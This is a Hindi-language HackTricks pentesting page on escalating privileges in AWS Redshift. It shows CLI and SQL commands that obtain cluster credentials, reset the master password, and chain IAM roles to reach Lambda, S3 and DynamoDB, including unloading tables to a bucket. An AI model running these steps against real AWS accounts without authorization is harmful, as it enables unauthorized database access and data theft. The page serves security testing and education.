AWS - Redshift Privesc

HackTricks को समर्थन दें

Redshift

RDS के बारे में अधिक जानकारी के लिए देखें:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

इन अनुमतियों के साथ आप सभी क्लस्टर्स की जानकारी (नाम और क्लस्टर उपयोगकर्ता नाम सहित) प्राप्त कर सकते हैं और इसे एक्सेस करने के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

इन अनुमतियों के साथ आप सभी क्लस्टर्स की जानकारी प्राप्त कर सकते हैं और प्रवेश के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं। ध्यान दें कि postgres उपयोगकर्ता के पास वही अनुमतियाँ होंगी जो IAM पहचान के पास हैं जिसका उपयोग क्रेडेंशियल्स प्राप्त करने के लिए किया गया है।

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

redshift:DescribeClusters, redshift:ModifyCluster?

aws cli से आंतरिक postgres (redshift) उपयोगकर्ता का मास्टर पासवर्ड संशोधित करना संभव है (मुझे लगता है कि आपको इन अनुमतियों की आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

बाहरी सेवाओं तक पहुंच

सभी निम्नलिखित संसाधनों तक पहुंचने के लिए, आपको उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी। एक Redshift क्लस्टर के पास AWS भूमिकाओं की एक सूची हो सकती है जिसका आप उपयोग कर सकते हैं यदि आप ARN जानते हैं या आप बस "default" सेट कर सकते हैं ताकि डिफ़ॉल्ट रूप से असाइन की गई भूमिका का उपयोग किया जा सके।

इसके अलावा, जैसा कि यहां समझाया गया है, Redshift भी भूमिकाओं को जोड़ने की अनुमति देता है (जब तक कि पहली भूमिका दूसरी को ग्रहण कर सकती है) और अधिक पहुंच प्राप्त करने के लिए लेकिन बस उन्हें अल्पविराम के साथ अलग करके: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html में समझाया गया है, यह redshift से एक lambda function को कॉल करना संभव है कुछ इस तरह:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html में समझाया गया है, यह S3 buckets में पढ़ना और लिखना संभव है:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

जैसा कि https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html में समझाया गया है, यह dynamodb से डेटा प्राप्त करना संभव है:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Amazon DynamoDB तालिका जो डेटा प्रदान करती है, उसे आपके क्लस्टर के समान AWS Region में बनाया जाना चाहिए जब तक कि आप REGION विकल्प का उपयोग करके उस AWS Region को निर्दिष्ट नहीं करते जिसमें Amazon DynamoDB तालिका स्थित है।

EMR

https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html देखें

References

HackTricks को समर्थन दें

Last updated